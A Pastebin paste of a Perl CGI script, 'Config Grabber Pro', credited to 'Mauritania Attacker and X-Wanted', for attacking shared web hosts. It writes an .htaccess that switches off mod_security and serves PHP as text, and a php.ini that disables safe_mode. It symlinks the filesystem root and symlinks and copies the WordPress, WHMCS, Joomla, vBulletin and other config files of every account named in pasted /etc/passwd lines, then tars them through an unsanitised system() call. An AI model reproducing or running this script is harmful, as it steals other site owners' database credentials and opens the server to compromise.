0xspade

Mauritania Symlink Pro

Aug 29th, 2016
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 19.42 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use File::Copy;
  3. use Cwd qw(chdir);
  4. use FindBin '$Bin';
  5.  
  6. print "Content-type: text/html\n\n";
  7. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  8. <html xmlns="http://www.w3.org/1999/xhtml">
  9. <head>
  10. <meta http-equiv="Content-Language" content="en-us" />
  11. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  12. <title>Config Grabber Pro</title>
  13. <style type="text/css">
  14. .newStyle1 {
  15. font-family: Tahoma;
  16. font-size: x-small;
  17. font-weight: bold;
  18. color: #FF001F;
  19.  text-align: center;
  20.  
  21. }
  22. textarea#styleid{
  23. color:#666;
  24. font-size:14px;
  25. -moz-border-radius: 8px; -webkit-border-radius: 8px;
  26. margin:5px 0px 10px 0px;
  27. padding:10px;
  28. height:75px;
  29. width:350px;
  30. border:#999 1px solid;
  31. font-family:"Lucida Sans Unicode", "Lucida Grande", sans-serif;
  32. transition: all 0.25s ease-in-out;
  33. -webkit-transition: all 0.25s ease-in-out;
  34. -moz-transition: all 0.25s ease-in-out;
  35. box-shadow: 0 0 5px rgba(81, 203, 238, 0);
  36. -webkit-box-shadow: 0 0 5px rgba(81, 203, 238, 0);
  37. -moz-box-shadow: 0 0 5px rgba(81, 203, 238, 0); - See more at: http://www.prettyklicks.com/blog/textarea-animated-glow-like-on-twitter-using-css3/67/#sthash.QG2MbF05.dpuf
  38.  
  39. }
  40. textarea#styleid:focus{
  41. color:#000;
  42. outline:none;
  43. border:#35a5e5 1px solid;
  44. font-family:"Lucida Sans Unicode", "Lucida Grande", sans-serif;
  45. box-shadow: 0 0 5px rgba(81, 203, 238, 1);
  46. -webkit-box-shadow: 0 0 5px rgba(81, 203, 238, 1);
  47. -moz-box-shadow: 0 0 5px rgba(81, 203, 238, 1);
  48. } - See more at: http://www.prettyklicks.com/blog/textarea-animated-glow-like-on-twitter-using-css3/67/#sthash.QG2MbF05.dpuf
  49.  
  50. .bw {
  51.  -webkit-transition: all 1s ease;
  52.     -moz-transition: all 1s ease;
  53.       -o-transition: all 1s ease;
  54.      -ms-transition: all 1s ease;
  55.          transition: all 1s ease;
  56. }
  57.  
  58. .bw:hover {
  59.  -webkit-filter: grayscale(100%);
  60. }
  61. </style>
  62. </head>
  63. ';
  64. sub main {
  65.     my $directory = "ghost";
  66.     unless(mkdir $directory) {
  67.     unless(chdir $directory) {
  68.          close (MYFILE);
  69.        
  70. }
  71. }
  72. }
  73.  
  74. main();
  75. my $directory = "ghost";
  76. unless(chdir $directory) {
  77. open(FILE, ">.htaccess");
  78. print FILE "OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .php \nAddType text/plain .html \nAddType text/html .shtml \nAddType txt .php \nAddHandler server-parsed .php \nAddHandler server-parsed .shtml \nAddHandler txt .php \nAddHandler txt .html \nAddHandler txt .shtml \nOptions All \nOptions All \n<IfModule mod_security.c> \nSecFilterEngine Off \nSecFilterScanPOST Off \nSecFilterCheckURLEncoding Off \nSecFilterCheckCookieFormat Off \nSecFilterCheckUnicodeEncoding Off \nSecFilterNormalizeCookies Off \n</IfModule> \n<Limit GET POST> \norder deny,allow \ndeny from all \nallow from all \n</Limit> \n<Limit PUT DELETE> \norder deny,allow \ndeny from all \n</Limit> \nSetEnv PHPRC $Bin/ghost/php.ini";
  79. close(FILE);
  80. }
  81.  
  82. open(FILE, ">php.ini");
  83. print FILE "safe_mode = OFF \nSafe_mode_gid = OFF \ndisable_functions = NONE";
  84. close(FILE);
  85.  
  86.  
  87. sub lil{
  88.     ($user) = @_;
  89. $msr = qx{pwd};
  90. $shad0w=$msr."/".$user;
  91. $shad0w=~s/\n//g;
  92. symlink("/","$Bin/ghost/root.txt");
  93. symlink('/home/'.$user.'/public_html/datas/config.php',$shad0w.'$Bin/ghost/~~setidio101.txt');
  94. symlink('/home/'.$user.'/public_html/mainfile.php',$shad0w.'$Bin/ghost/~~Xoops252.txt');
  95. symlink('/home/'.$user.'/public_html/html/config.php',$shad0w.'$Bin/ghost/~~phpNuke45.txt');
  96. symlink('/home/'.$user.'/public_html/Settings.php',$shad0w.'$Bin/ghost/~~SmFk55.txt');
  97. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$shad0w.'$Bin/ghost/~~vBulletin1455.txt');
  98. symlink('/home/'.$user.'/public_html/includes/config.php',$shad0w.'$Bin/ghost/~~vBulletin2545.txt');
  99. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$shad0w.'$Bin/ghost/~~vBulletin388242.txt');
  100. symlink('/home/'.$user.'/public_html/cc/includes/config.php',$shad0w.'$Bin/ghost/~~vBulletin454545.txt');
  101. symlink('/home/'.$user.'/public_html/config.php',$shad0w.'$Bin/ghost/~~Phpbb114545.txt');
  102. symlink('/home/'.$user.'/public_html/datas/config.php',$shad0w.'$Bin/ghost/~~setidio131548454.txt');
  103. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$shad0w.'$Bin/ghost/~~Phpbb25454854.txt');
  104. symlink('/home/'.$user.'/public_html/wp-config.php',$shad0w.'$Bin/ghost/~~Wordpress1235654.txt');
  105. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$shad0w.'$Bin/ghost/~~Wordpress2k4444888.txt');
  106. symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$shad0w.'$Bin/ghost/~~Wordpress3f55fv.txt');
  107. symlink('/home/'.$user.'/public_html/wp/wp-config.php',$shad0w.'$Bin/ghost/~~Wordpress46gbbg6bg6bg5.txt');
  108. symlink('/home/'.$user.'/public_html/configuration.php',$shad0w.'$Bin/ghost/~~Joomla1v4vf545f4.txt');
  109. symlink('/home/'.$user.'/public_html/blog/configuration.php',$shad0w.'$Bin/ghost/~~Joomla2v545vf45f.txt');
  110. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$shad0w.'$Bin/ghost/~~Joomla354f5v4f5.txt');
  111. symlink('/home/'.$user.'/public_html/whm/configuration.php',$shad0w.'$Bin/ghost/~~Whm1f45v5f.txt');
  112. symlink('/home/'.$user.'/public_html/bill/configuration.php',$shad0w.'$Bin/ghost/~~Whm2f5v5fv.txt');
  113. symlink('/home/'.$user.'/public_html/support/configuration.php',$shad0w.'$Bin/ghost/~~Whm3v545f45.txt');
  114. symlink('/home/'.$user.'/public_html/client/configuration.php',$shad0w.'$Bin/ghost/~~Whm4v5f5vf8.txt');
  115. symlink('/home/'.$user.'/public_html/billings/configuration.php',$shad0w.'$Bin/ghost/~~Whm5f77f878fv.txt');
  116. symlink('/home/'.$user.'/public_html/billing/configuration.php',$shad0w.'$Bin/ghost/~~Whm6fv88f4v.txt');
  117. symlink('/home/'.$user.'/public_html/clients/configuration.php',$shad0w.'$Bin/ghost/~~Whm7df54vd54.txt');
  118. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$shad0w.'$Bin/ghost/~~Whm8v445v47v5.txt.txt');
  119. symlink('/home/'.$user.'/public_html/order/configuration.php',$shad0w.'$Bin/ghost/~~Whm95vfvd5fv5d4f5.txt');
  120. symlink('/home/'.$user.'/public_html/admin/conf.php',$shad0w.'$Bin/ghost/~~54v85f4v8f478vf787vf87f.txt');
  121. symlink('/home/'.$user.'/public_html/admin/config.php',$shad0w.'$Bin/ghost/~~4f5vf857v87ff78v78vf7.txt');
  122. symlink('/home/'.$user.'/public_html/conf_global.php',$shad0w.'$Bin/ghost/~~invisiofdfd87f7d87df8fd7f7v.txt');
  123. symlink('/home/'.$user.'/public_html/includes/db.php',$shad0w.'$Bin/ghost/~~7c4vf5d45hngdsvfdv.txt');
  124. symlink('/home/'.$user.'/public_html/connect.php',$shad0w.'$Bin/ghost/~~8vfds5f7f7b8fg7b8gfs7s55sv.txt');
  125. symlink('/home/'.$user.'/public_html/mk_conf.php',$shad0w.'$Bin/ghost/~~mk-portale1dcds57vdf87v7dfvfv8f7dfv8fvd.txt');
  126. symlink('/home/'.$user.'/public_html/include/config.php',$shad0w.'$Bin/ghost/~~12dsv5df7v85df75df7d857df.txt');
  127. symlink('/home/'.$user.'/public_html/includes/functions.php',$shad0w.'$Bin/ghost/~~phpbb3fg7bg8fb75fgb545bg4fg5f.txt');
  128. symlink('/home/'.$user.'/public_html/includes/db.php',$shad0w.'$Bin/ghost/~~infinityf5df5vf5dv5fdc5f7d574f4fdf45d.txt');
  129. symlink('/home/'.$user.'/public_html/includes/conf.php',$shad0w.'$Bin/ghost/~~infinity0g5bfg4b5g4g5fg4fvb5fg454fbg5.txt');
  130. symlink('/home/'.$user.'/public_html/includes/config.php',$shad0w.'$Bin/ghost/~~infinity1d4f54df545df454fd5fd5fdgf.txt');
  131. symlink('/home/'.$user.'/public_html/includes/conf.php',$shad0w.'$Bin/ghost/~~infinity2HGJHGBJ5fd5fd.txt');
  132. symlink('/home/'.$user.'/public_html/database/db.php',$shad0w.'$Bin/ghost/~~infinity3hHBhbJN55757.txt');
  133. symlink('/home/'.$user.'/public_html/data/db.php',$shad0w.'$Bin/ghost/~~infinity4JH5fd7ff7dfd7fd78df015df.txt');
  134. symlink('/home/'.$user.'/public_html/data/config.php',$shad0w.'$Bin/ghost/~~infinity4D7DF8541D8fr.txt');
  135. symlink('/home/'.$user.'/public_html/data/configuration.php',$shad0w.'$Bin/ghost/~~infinityHGB554545f45v45vf.txt');
  136. symlink('/home/'.$user.'/public_html/data/conf.php',$shad0w.'$Bin/ghost/~~hgJHGHJHBH7infinity654545f454df.txt');
  137. symlink('/home/'.$user.'/public_html/database/db.php',$shad0w.'$Bin/ghost/~~JHguholklihujhVinfinity7J4df74fvd5.txt');
  138. symlink('/home/'.$user.'/public_html/database/config.php',$shad0w.'$Bin/ghost/~~fdfvjfvdjfd47JHgfd577fg7fginfinity8f4.txt');
  139. symlink('/home/'.$user.'/public_html/database/configuration.php',$shad0w.'$Bin/ghost/~~HGVhgvfd5Nb77F8FG5infinity9FD5V8F78DF.txt');
  140. symlink('/home/'.$user.'/public_html/database/conf.php',$shad0w.'$Bin/ghost/~~ygygYGygiYmFFFFFinfinity1078912365987.txt');
  141. symlink('/home/'.$user.'/public_html/config/conf.php',$shad0w.'$Bin/ghost~~GFjkhfj68868800000infinity11.txt');
  142. symlink('/home/'.$user.'/public_html/config/config.php',$shad0w.'$Bin/ghost/~~YGHtYJinfinity125756F7FD7FD.txt');
  143. symlink('/home/'.$user.'/public_html/config/configuration.php',$shad0w.'$Bin/ghost/~~FGBGGFFGGB545FD5554JHHGHinfinity13.txt');
  144. symlink('/home/'.$user.'/public_html/system/configuration.php',$shad0w.'$Bin/ghost/~~gfhfyjtfkdjtfk57587857GCFGCFinfinity14.txt');
  145. symlink('/home/'.$user.'/public_html/clients/configuration.php',$shad0w.'$Bin/ghost/~~hfyhjgyfukyfy52545420000452Whm4.txt');
  146. symlink('/home/'.$user.'/public_html/clients/config.php',$shad0w.'$Bin/ghost/~~gghfjtfjfj0212512015245Whm444444.txt');
  147. symlink('/home/'.$user.'/public_html/client/conf.php',$shad0w.'$Bin/ghost/~~gfhgfnfjgWhm454021211151215151.txt');
  148. symlink('/home/'.$user.'/public_html/client/db.php',$shad0w.'$Bin/ghost/~~dfhvgdffdhgfg242542g4bgb24552fg4gf2Whm4021521.txt');
  149. symlink('/home/'.$user.'/public_html/billings/configuration.php',$shad0w.'$Bin/ghost/~~WhmwhlFGG?HGKFJ6562565500whm5587488.txt');
  150. symlink('/home/'.$user.'/public_html/billings/conf.php',$shad0w.'$Bin/ghost/~~dghffhgfhHGFGHHVGH02454144141415555Whm56954.txt');
  151. symlink('/home/'.$user.'/public_html/billings/config.php',$shad0w.'$Bin/ghost/~~YFjgjfhgkjfgkgjfTDKDTJGCVTFYJGRUYWhm503535.txt');
  152. symlink('/home/'.$user.'/public_html/billings/db.php',$shad0w.'$Bin/ghost/~~Wzxxzxwsoo85298959hm56098845.txt');
  153. symlink('/home/'.$user.'/public_html/billings/database.php',$shad0w.'$Bin/ghost/~~fvfvfffffff00001mlopipifd4fd77fWhm454fvvf45.txt');
  154. symlink('/home/'.$user.'/public_html/billing/configuration.php',$shad0w.'$Bin/ghost/~~fdv565df566f566zzzzzz01010mrd00whm545dftxt');
  155. symlink('/home/'.$user.'/public_html/billing/conf.php',$shad0w.'$Bin/ghost/~~WHMWHMWHMWHM021122244569757455Whm524df224ftxt');
  156. symlink('/home/'.$user.'/public_html/billing/config.php',$shad0w.'$Bin/ghost/~~0HWWHMOMPPPPPMPP5fv54fv85vf4fWhm0fv14f5f.txt');
  157. symlink('/home/'.$user.'/public_html/billing/db.php',$shad0w.'$Bin/ghost/~~GJHghggjyhgyhg5050555515055055050550505Whm8745f4.txt');
  158. symlink('/home/'.$user.'/public_html/billing/database.php',$shad0w.'$Bin/ghost/~~lUlzguygyuyubfdubdffdybfuydfdWhmm47f5f70f4fvfgfb.txt');
  159. symlink('/home/'.$user.'/public_html/whmcs/config.php',$shad0w.'$Bin/ghost/~~wkwkwkkwwkkwkwkwkwkwLLLLLLLxD5fv45f4.txt');
  160. symlink('/home/'.$user.'/public_html/whmcs/conf.php',$shad0w.'$Bin/ghost/~~H4ckerffudhdfuivfuihidvfuhdfu10f0d4.txt');
  161. symlink('/home/'.$user.'/public_html/whmcs/db.php',$shad0w.'$Bin/ghost/~~pown3dughiugfhiufguigfuifgntgf54.txt');
  162. symlink('/home/'.$user.'/public_html/whmcs/data.php',$shad0w.'$Bin/ghost/~~shittjhdufhvf8fd5f0f5f805f58f48LLLLLWh5fv45df2.txt');
  163. symlink('/home/'.$user.'/public_html/whmcs/config/db.php',$shad0w.'$Bin/ghost/~~w0000000000thhygyuhuhiXdYGYUIUY11v42d4v4df.txt');
  164. symlink('/home/'.$user.'/public_html/whmcs/conf/config.php',$shad0w.'$Bin/ghost/~~HIOIHOHIHIHIIHIHIHIHIH25f5vf5f45vf4fv54fv4055g545v.txt');
  165. symlink('/home/'.$user.'/public_html/whmcs/db/config.php',$shad0w.'$Bin/ghost/~~hgyfttg5f65v565fd6fdvfjtgkygftfyytWhmc14f4d4fv.txt');
  166. symlink('/home/'.$user.'/public_html/whmcs/includes/config.php',$shad0w.'$Bin/ghost/~~hhhhhhhhhhhhhhhXXXXXXXXXXXXDDWhmcs4z00xxxLPVf5gf5g5gf.txt');
  167.  
  168. copy('/home/'.$user.'/public_html/datas/config.php',$shad0w.'~~setidio1.txt');    
  169. copy('/home/'.$user.'/public_html/mainfile.php',$shad0w.'~~Xoops2.txt');
  170. copy('/home/'.$user.'/public_html/html/config.php',$shad0w.'~~phpNuke.txt');
  171. copy('/home/'.$user.'/public_html/Settings.php',$shad0w.'~~SmF.txt');
  172. copy('/home/'.$user.'/public_html/vb/includes/config.php',$shad0w.'~~vBulletin1.txt');
  173. copy('/home/'.$user.'/public_html/includes/config.php',$shad0w.'~~vBulletin2.txt');
  174. copy('/home/'.$user.'/public_html/forum/includes/config.php',$shad0w.'~~vBulletin3.txt');
  175. copy('/home/'.$user.'/public_html/cc/includes/config.php',$shad0w.'~~vBulletin4.txt');
  176. copy('/home/'.$user.'/public_html/config.php',$shad0w.'~~Phpbb1.txt');
  177. copy('/home/'.$user.'/public_html/forum/includes/config.php',$shad0w.'~~Phpbb2.txt');
  178. copy('/home/'.$user.'/public_html/wp-config.php',$shad0w.'~~Wordpress1.txt');
  179. copy('/home/'.$user.'/public_html/blog/wp-config.php',$shad0w.'~~Wordpress2.txt');
  180. copy('/home/'.$user.'/public_html/configuration.php',$shad0w.'~~Joomla1.txt');
  181. copy('/home/'.$user.'/public_html/blog/configuration.php',$shad0w.'~~Joomla2.txt');
  182. copy('/home/'.$user.'/public_html/joomla/configuration.php',$shad0w.'~~Joomla3.txt');
  183. copy('/home/'.$user.'/public_html/whm/configuration.php',$shad0w.'~~Whm1.txt');
  184. copy('/home/'.$user.'/public_html/bill/configuration.php',$shad0w.'~~Whm2.txt');
  185. copy('/home/'.$user.'/public_html/support/configuration.php',$shad0w.'~~Whm3.txt');
  186. copy('/home/'.$user.'/public_html/client/configuration.php',$shad0w.'~~Whm4.txt');
  187. copy('/home/'.$user.'/public_html/billings/configuration.php',$shad0w.'~~Whm5.txt');
  188. copy('/home/'.$user.'/public_html/billing/configuration.php',$shad0w.'~~Whm6.txt');
  189. copy('/home/'.$user.'/public_html/clients/configuration.php',$shad0w.'~~Whm7.txt');
  190. copy('/home/'.$user.'/public_html/whmcs/configuration.php',$shad0w.'~~Whm8.txt');
  191. copy('/home/'.$user.'/public_html/order/configuration.php',$shad0w.'~~Whm9.txt');
  192. copy('/home/'.$user.'/public_html/admin/conf.php',$shad0w.'~~5.txt');
  193. copy('/home/'.$user.'/public_html/admin/config.php',$shad0w.'~~4.txt');
  194. copy('/home/'.$user.'/public_html/conf_global.php',$shad0w.'~~invisio.txt');
  195. copy('/home/'.$user.'/public_html/include/db.php',$shad0w.'~~7.txt');
  196. copy('/home/'.$user.'/public_html/connect.php',$shad0w.'~~8.txt');
  197. copy('/home/'.$user.'/public_html/mk_conf.php',$shad0w.'~~mk-portale1.txt');
  198. copy('/home/'.$user.'/public_html/include/config.php',$shad0w.'~~12.txt');
  199. copy('/home/'.$user.'/public_html/settings.php',$shad0w.'~~Smf.txt');
  200. copy('/home/'.$user.'/public_html/includes/functions.php',$shad0w.'~~phpbb3.txt');
  201. copy('/home/'.$user.'/public_html/includes/db.php',$shad0w.'~~infinity.txt');
  202. copy('/home/'.$user.'/public_html/includes/conf.php',$shad0w.'~~infinity0.txt');
  203. copy('/home/'.$user.'/public_html/includes/config.php',$shad0w.'~~infinity1.txt');
  204. copy('/home/'.$user.'/public_html/includes/conf.php',$shad0w.'~~infinity2.txt');
  205. copy('/home/'.$user.'/public_html/database/db.php',$shad0w.'~~infinity3.txt');
  206. copy('/home/'.$user.'/public_html/data/db.php',$shad0w.'~~infinity4.txt');
  207. copy('/home/'.$user.'/public_html/data/config.php',$shad0w.'~~infinity4.txt');
  208. copy('/home/'.$user.'/public_html/data/configuration.php',$shad0w.'~~infinity5.txt');
  209. copy('/home/'.$user.'/public_html/data/conf.php',$shad0w.'~~infinity6.txt');
  210. copy('/home/'.$user.'/public_html/database/db.php',$shad0w.'~~infinity7.txt');
  211. copy('/home/'.$user.'/public_html/database/config.php',$shad0w.'~~infinity8.txt');
  212. copy('/home/'.$user.'/public_html/database/configuration.php',$shad0w.'~~infinity9.txt');
  213. copy('/home/'.$user.'/public_html/database/conf.php',$shad0w.'~~infinity10.txt');
  214. copy('/home/'.$user.'/public_html/config/conf.php',$shad0w.'~~infinity11.txt');
  215. copy('/home/'.$user.'/public_html/config/config.php',$shad0w.'~~infinity12.txt');
  216. copy('/home/'.$user.'/public_html/config/configuration.php',$shad0w.'~~infinity13.txt');
  217. copy('/home/'.$user.'/public_html/system/configuration.php',$shad0w.'~~infinity14.txt');
  218. copy('/home/'.$user.'/public_html/clients/configuration.php',$shad0w.'~~Whm4.txt');
  219. copy('/home/'.$user.'/public_html/clients/config.php',$shad0w.'~~Whm444444.txt');
  220. copy('/home/'.$user.'/public_html/client/conf.php',$shad0w.'~~Whm454.txt');
  221. copy('/home/'.$user.'/public_html/client/db.php',$shad0w.'~~Whm4021521.txt');
  222. copy('/home/'.$user.'/public_html/billings/configuration.php',$shad0w.'~~whm5587488.txt');
  223. copy('/home/'.$user.'/public_html/billings/conf.php',$shad0w.'~~Whm56954.txt');
  224. copy('/home/'.$user.'/public_html/billings/config.php',$shad0w.'~~Whm503535.txt');
  225. copy('/home/'.$user.'/public_html/billings/db.php',$shad0w.'~~Whm56098845.txt');
  226. copy('/home/'.$user.'/public_html/billings/database.php',$shad0w.'~~Whm454fvvf45.txt');
  227. copy('/home/'.$user.'/public_html/billing/configuration.php',$shad0w.'~~whm545dftxt');
  228. copy('/home/'.$user.'/public_html/billing/conf.php',$shad0w.'~~Whm524df224ftxt');
  229. copy('/home/'.$user.'/public_html/billing/config.php',$shad0w.'~~Whm0fv14f5f.txt');
  230. copy('/home/'.$user.'/public_html/billing/db.php',$shad0w.'~~Whm8745f4.txt');
  231. copy('/home/'.$user.'/public_html/billing/database.php',$shad0w.'~~Whmm47f5f70f4fvfgfb.txt');
  232. copy('/home/'.$user.'/public_html/whmcs/config.php',$shad0w.'~~5fv45f4.txt');
  233. copy('/home/'.$user.'/public_html/whmcs/conf.php',$shad0w.'~~10f0d4.txt');
  234. copy('/home/'.$user.'/public_html/whmcs/db.php',$shad0w.'~~ntgf54.txt');
  235. copy('/home/'.$user.'/public_html/whmcs/data.php',$shad0w.'~~Wh5fv45df2.txt');
  236. copy('/home/'.$user.'/public_html/whmcs/config/db.php',$shad0w.'~~11v42d4v4df.txt');
  237. copy('/home/'.$user.'/public_html/whmcs/conf/config.php',$shad0w.'~~055g545v.txt');
  238. copy('/home/'.$user.'/public_html/whmcs/db/config.php',$shad0w.'~~Whmc14f4d4fv.txt');
  239. copy('/home/'.$user.'/public_html/whmcs/includes/config.php',$shad0w.'~~Whmcs4f4f4f5gf5g5gf.txt');
  240. }
  241. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  242.   read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  243. } else {
  244.   $buffer = $ENV{'QUERY_STRING'};
  245. }
  246. @pairs = split(/&/, $buffer);
  247. foreach $pair (@pairs) {
  248.   ($name, $value) = split(/=/, $pair);
  249.   $name =~ tr/+/ /;
  250.   $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  251.   $value =~ tr/+/ /;
  252.   $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  253.   $FORM{$name} = $value;
  254. }
  255. if ($FORM{pass} eq ""){
  256. print '
  257. <body class="newStyle1" bgcolor="#000000">
  258. <font face="impact" size="16">Config Grabber Pro</font>
  259. <p><font color="green" face="bold" size="2">|Symlink Function| + |Copy Function|</font></p>
  260. <p><font color="#C0C0C0"></font> Coded By Mauritania Attacker and X-Wanted </font>
  261. <span id="result_box" class="short_text" lang="en"><span style title></span>
  262. <p align="center">
  263. <div class="bw pic">
  264. <img border="0" src="http://pepinemom.p.e.pic.centerblog.net/v4nltkci.jpg" height="130" width="300"></p>
  265. </div>
  266. <form method="post">
  267. <textarea name="pass" id="styleid" style="margin: 5px 0px 10px; height: 270px; width: 450px;"  ></textarea><br />
  268. &nbsp;
  269. <p>
  270. <input name="Submit1" type="submit" value="Extract Now" style="border:1px dotted #00FFFF; width: 99; font-family:orion; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; background-color:red" /></p>
  271. </form>';
  272. }else{
  273. @lines =<$FORM{pass}>;
  274. $y = @lines;
  275. open (MYFILE, ">tar.tmp");
  276. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  277. for ($ka=0;$ka<$y;$ka++){
  278. while(@lines[$ka]  =~ m/(.*?):x:/g){
  279. &lil($1);
  280. print MYFILE $1." ";
  281. for($kd=1;$kd<18;$kd++){
  282. print MYFILE $1.$kd." ";
  283. }
  284. }
  285. }
  286. print'<body class="newStyle1" bgcolor="black">
  287. <p><font color="red" size"5" </font>Extraction D0ne \!/</p>
  288. <p>&nbsp;</p>
  289. <p><br><a href=ghost TARGET="_blank" </a></p><font color="#ff0000" size="2" face="Courier New"><b>Click Here \!/</b></font></a>';
  290. if($FORM{tar} ne ""){
  291. open(INFO, "tar.tmp");
  292. @lines =<INFO> ;
  293. close(INFO);
  294. system(@lines);
  295. print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
  296. <span style="text-decoration: none">Tar File</span></font></a></p>';
  297. }
  298. }
  299.  
  300. print"
  301. </body>
  302. </html>";
Add Comment
Please, Sign In to add comment